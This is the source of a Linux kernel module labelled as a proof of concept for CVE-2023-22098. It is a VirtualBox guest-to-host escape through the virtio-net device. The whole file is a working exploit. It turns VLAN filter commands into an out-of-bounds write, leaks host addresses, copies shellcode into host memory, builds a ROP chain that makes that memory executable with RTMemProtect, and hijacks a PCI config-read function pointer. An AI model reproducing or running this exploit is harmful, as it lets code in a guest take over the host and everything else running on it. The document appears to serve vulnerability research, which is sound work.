#include #include #include #include #include #include #include #include #include #define WORD 2 #define VIRTIONET_CTRL_VLAN 2 /**< Control class: VLAN filtering */ #define VIRTIONET_CTRL_VLAN_ADD 0 /**< Add VLAN to filter table */ #define VIRTIONET_CTRL_VLAN_DEL 1 /**< Delete VLAN from filter table */ #define RTMEM_PROT_NONE 0 /** No access at all. */ #define RTMEM_PROT_READ 1 /** Read access. */ #define RTMEM_PROT_WRITE 2 /** Write access. */ #define RTMEM_PROT_EXEC 4 /** Execute access. */ #define LocDeviceCap_off 1844 /** 1844 | 8 VIRTIO_PCI_CAP_LOCATIONS_T LocDeviceCap; */ #define LocDeviceCap_offMmio_off 0 /** 0 | 2 uint16_t offMmio; */ #define LocDeviceCap_cbMmio_off 2 /** 2 | 2 uint16_t cbMmio; */ #define LocCommonCfgCap_off 1828 /** 1828 | 8 VIRTIO_PCI_CAP_LOCATIONS_T LocCommonCfgCap; */ #define LocCommonCfgCap_off_offMmio 0 /** 0 | 2 uint16_t offMmio; */ #define LocCommonCfgCap_off_cbMmio 2 /** 2 | 2 uint16_t cbMmio; */ #define uCapVndr_off 0 /** 0 | uint8_t uCapVndr; */ #define VIRTIO_REGION_PCI_CAP 2 #define uBar_off 4 /** 4 | uint8_t uBar; */ #define uOffset_off 8 /** 8 | uint32_t uOffset; */ #define uLength_off 12 /** 12 | uint32_t uLength; */ #define uPciCfgDataOff_off 1799 #define uMsixVector_off 26 #define uEnable_off 28 #define uNotifyOffset_off 30 #define pfnConfigRead_off 24 #define aVlanFilter_off 3172 #define uVirtqSelect_off 1802 #define virtioR3PciConfigRead_off_VBoxDD 0x370df7 #define VirtioNetSize 7536 #define PPDMCRITSECTSize 256 #define pCritSectRoR3 VirtioNetSize + 16 #define apPciDevs pCritSectRoR3 + PPDMCRITSECTSize #define PDMPCIDEVINT_s apPciDevs + 64 #define pop_rax_ret 0x1d8489 #define pop_rdx_ret 0x0ac71a #define pop_rdi_ret 0x4024e4 #define pop_rsi_ret 0x402563 #define RTErrInfoSet_off 0x7b4f38 #define mov_rax_ptr_rax_pop_rbp_ret 0x0e935e #define add_rax_rdx_pop_rbp_ret 0x0656a0 #define mov_ptr_rdx_rax_nop_pop_rbp_ret 0x595f99 #define ROP_off 0xd00 - 0x200 #define shellcode_off ROP_off - 0x200 struct command_entry { struct virtio_net_ctrl_hdr hdr; __virtio16 vlanId; }; struct dp_xpl { struct virtqueue *vqueues[3]; struct command_entry *ctrl; struct pci_dev *pci_dev; }; /* * @param offset uVlanId */ void oob_write(struct dp_xpl *dev, struct virtio_device *vdev, uint64_t value, uint16_t offset, uint8_t nbits) { struct scatterlist *psgs[1]; struct scatterlist sgs[1]; unsigned int len; uint8_t i; uint8_t cmd; for(i = 0; i < nbits; i++) { if (value & (1ULL << i)) cmd = VIRTIONET_CTRL_VLAN_ADD; else cmd = VIRTIONET_CTRL_VLAN_DEL; // Setting the control header dev->ctrl->hdr.class = VIRTIONET_CTRL_VLAN; dev->ctrl->hdr.cmd = cmd; dev->ctrl->vlanId = cpu_to_virtio16(vdev, offset * 8 + i); // Initialize scatterlist sg_init_one(&sgs[0], dev->ctrl, sizeof(struct command_entry) + 4); psgs[0] = &sgs[0]; // Add the buffer to the control queue virtqueue_add_sgs(dev->vqueues[2], psgs, 1, 0, dev, GFP_KERNEL); // Kick queue to process the command virtqueue_kick(dev->vqueues[2]); // Wait for the command to be processed while (!virtqueue_get_buf(dev->vqueues[2], &len) && !virtqueue_is_broken(dev->vqueues[2])) { cpu_relax(); } } } static void leak_addr(struct virtio_device *vdev, struct dp_xpl *dev, uint32_t uOffset, uint32_t uLength, uint16_t uVirtqSelect) { oob_write(dev, vdev, 0x00, pCritSectRoR3 + uPciCfgDataOff_off - aVlanFilter_off, 8); oob_write(dev, vdev, uVirtqSelect, pCritSectRoR3 + uVirtqSelect_off - aVlanFilter_off, 16); /* * gef➤ p pVirtio * $65 = (PVIRTIOCORE) 0x7fffb00561c0 * * gef➤ p &pVirtioCC->pPciCfgCap->pciCap * $66 = (virtio_pci_cap *) 0x7fffb00564c0 * * gef➤ p/x 0x7fffb00564c0 - 0x7fffb00561c0 * $67 = 0x300 */ oob_write(dev, vdev, 0xff, pCritSectRoR3 + 0x300 + uCapVndr_off - aVlanFilter_off, 8); oob_write(dev, vdev, VIRTIO_REGION_PCI_CAP, pCritSectRoR3 + 0x300 + uBar_off - aVlanFilter_off, 8); oob_write(dev, vdev, uOffset, pCritSectRoR3 + 0x300 + uOffset_off - aVlanFilter_off, 8); oob_write(dev, vdev, uLength, pCritSectRoR3 + 0x300 + uLength_off - aVlanFilter_off, 8); oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocDeviceCap_off + LocDeviceCap_offMmio_off - aVlanFilter_off, 16); oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocDeviceCap_off + LocDeviceCap_cbMmio_off - aVlanFilter_off, 16); oob_write(dev, vdev, 0x00, pCritSectRoR3 + LocCommonCfgCap_off + LocCommonCfgCap_off_offMmio - aVlanFilter_off, 16); oob_write(dev, vdev, 0xff, pCritSectRoR3 + LocCommonCfgCap_off + LocCommonCfgCap_off_cbMmio - aVlanFilter_off, 16); // We modify pDevInsR3 to point to pDevInsR3 + 0x10. oob_write(dev, vdev, 0x10, PDMPCIDEVINT_s - aVlanFilter_off, 8); } static int dp_virtio_net_probe(struct virtio_device *vdev) { static vq_callback_t *callbacks[] = {NULL, NULL, NULL}; struct dp_xpl *dev = NULL; static const char *names[] = {"rx", "tx", "ctrl"}; uint16_t val = 0; uint64_t pDevInsR3_addr = 0; uint64_t virtioR3PciConfigRead_addr = 0; uint64_t VBoxDD_addr = 0; int rc = 0; int i = 0; unsigned char shellcode[] = { 0x48, 0x31, 0xc0, 0xb0, 0x39, 0x0f, 0x05, 0x48, 0x85, 0xc0, 0x74, 0x1d, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xd2, 0x48, 0x89, 0xc7, 0xb8, 0x3d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x0f, 0x05, 0x48, 0xbb, 0xff, 0x2f, 0x67, 0x65, 0x64, 0x69, 0x74, 0x00, 0x48, 0xc1, 0xeb, 0x08, 0x53, 0x48, 0xbb, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x53, 0x54, 0x5f, 0x48, 0xbb, 0xff, 0x3a, 0x30, 0x2e, 0x30, 0x00, 0x00, 0x00, 0x48, 0xc1, 0xeb, 0x08, 0x53, 0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54, 0x5a, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x54, 0x5a, 0x50, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05 }; pr_info("==> probe\n"); dev = kzalloc(sizeof(struct dp_xpl), GFP_KERNEL); if (!dev) return -ENOMEM; dev->ctrl = kzalloc(sizeof(struct command_entry), GFP_KERNEL); if (!dev->ctrl) return -ENOMEM; rc = virtio_find_vqs(vdev, 3, dev->vqueues, callbacks, names, NULL); if (rc) return rc; vdev->priv = dev; virtio_device_ready(vdev); pr_info("[+] device ready [+]\n"); dev->pci_dev = to_pci_dev(vdev->dev.parent); leak_addr(vdev, dev, uNotifyOffset_off, WORD, 0); pci_read_config_word(dev->pci_dev, 0, &val); pDevInsR3_addr |= ((uint64_t)val << 32); leak_addr(vdev, dev, uEnable_off, WORD, 0); pci_read_config_word(dev->pci_dev, 0, &val); pDevInsR3_addr |= ((uint64_t)val << 16); leak_addr(vdev, dev, uMsixVector_off, WORD, 0); pci_read_config_word(dev->pci_dev, 0, &val); pDevInsR3_addr |= val; printk("[+] pDevInsR3_addr: 0x%llx\n", pDevInsR3_addr); leak_addr(vdev, dev, uNotifyOffset_off, WORD, 4); pci_read_config_word(dev->pci_dev, 0, &val); virtioR3PciConfigRead_addr |= ((uint64_t)val << 32); leak_addr(vdev, dev, uEnable_off, WORD, 4); pci_read_config_word(dev->pci_dev, 0, &val); virtioR3PciConfigRead_addr |= ((uint64_t)val << 16); leak_addr(vdev, dev, uMsixVector_off, WORD, 4); pci_read_config_word(dev->pci_dev, 0, &val); virtioR3PciConfigRead_addr |= val; printk("[+] virtioR3PciConfigRead_addr: 0x%llx\n", virtioR3PciConfigRead_addr); VBoxDD_addr = virtioR3PciConfigRead_addr - virtioR3PciConfigRead_off_VBoxDD; printk("[+] VBoxDD: 0x%llx\n", VBoxDD_addr); //copy payload for (i = 0; i < sizeof(shellcode); i++) { oob_write(dev, vdev, shellcode[i], PDMPCIDEVINT_s + shellcode_off + i - aVlanFilter_off, 8); } oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off - aVlanFilter_off, 64); oob_write(dev, vdev, VBoxDD_addr + pop_rax_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 1) - aVlanFilter_off, 64); //pop rax oob_write(dev, vdev, VBoxDD_addr + RTErrInfoSet_off, PDMPCIDEVINT_s + ROP_off + (0x8 * 2) - aVlanFilter_off, 64); //RTErrInfoSet oob_write(dev, vdev, VBoxDD_addr + mov_rax_ptr_rax_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 3) - aVlanFilter_off, 64); //mov rax, qword ptr [rax]; pop rbp; ret; oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 4) - aVlanFilter_off, 64); //rbp value //calculate RTMemProtect relative to RTErrInfoSet. oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 5) - aVlanFilter_off, 64); //pop rdx oob_write(dev, vdev, 0x270be2, PDMPCIDEVINT_s + ROP_off + (0x8 * 6) - aVlanFilter_off, 64); //valor rdx oob_write(dev, vdev, VBoxDD_addr + add_rax_rdx_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 7) - aVlanFilter_off, 64); //add rax, rdx; pop rbp; ret; oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 8) - aVlanFilter_off, 64); //valor rbp oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 9) - aVlanFilter_off, 64); //pop rdx oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 + (19 * 8), PDMPCIDEVINT_s + ROP_off + (0x8 * 10) - aVlanFilter_off, 64); //rdx value oob_write(dev, vdev, VBoxDD_addr + mov_ptr_rdx_rax_nop_pop_rbp_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 11) - aVlanFilter_off, 64); //mov qword ptr [rdx], rax; nop; pop rbp; ret; oob_write(dev, vdev, 0xdeadbeef, PDMPCIDEVINT_s + ROP_off + (0x8 * 12) - aVlanFilter_off, 64); //valor rbp //at this point, we have written the address of RTMemProtect into our ROP chain area. oob_write(dev, vdev, VBoxDD_addr + pop_rdi_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 13) - aVlanFilter_off, 64); //pop rdi oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 - 0x200, PDMPCIDEVINT_s + ROP_off + (0x8 * 14) - aVlanFilter_off, 64); //rdi value oob_write(dev, vdev, VBoxDD_addr + pop_rsi_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 15) - aVlanFilter_off, 64); //pop rsi oob_write(dev, vdev, 0x1000, PDMPCIDEVINT_s + ROP_off + (0x8 * 16) - aVlanFilter_off, 64); //rsi value oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off + (0x8 * 17) - aVlanFilter_off, 64); //pop rdx oob_write(dev, vdev, RTMEM_PROT_READ | RTMEM_PROT_WRITE | RTMEM_PROT_EXEC, PDMPCIDEVINT_s + ROP_off + (0x8 * 18) - aVlanFilter_off, 64); //rdx value oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 - 0x200, PDMPCIDEVINT_s + ROP_off + (0x8 * 20) - aVlanFilter_off, 64); //modify pDevInsR3. oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200, PDMPCIDEVINT_s - aVlanFilter_off, 64); oob_write(dev, vdev, VBoxDD_addr + 0x4d1a2f, PDMPCIDEVINT_s + pfnConfigRead_off - aVlanFilter_off, 64); //win pci_read_config_word(dev->pci_dev, 0, &val); return 0; } static void dp_virtio_net_remove(struct virtio_device *vdev) { struct dp_xpl *dev = vdev->priv; // Reset the device and free the virtqueues vdev->config->reset(vdev); vdev->config->del_vqs(vdev); kfree(dev->ctrl); kfree(dev); pr_info("[+] virtio-net removed [+].\n"); } static const struct virtio_device_id dp_virtio_net_id_table[] = { { VIRTIO_ID_NET, VIRTIO_DEV_ANY_ID }, { 0 }, }; static struct virtio_driver dp_virtio_net = { .driver.name = "dp_virtio_net", .id_table = dp_virtio_net_id_table, .probe = dp_virtio_net_probe, .remove = dp_virtio_net_remove, }; // The `module_init` and `module_exit` functions are already implicit in the `module_virtio_driver` macro. module_virtio_driver(dp_virtio_net); MODULE_DESCRIPTION("PoC CVE-2023-22098"); MODULE_AUTHOR("DiegoAltF4"); MODULE_LICENSE("GPL");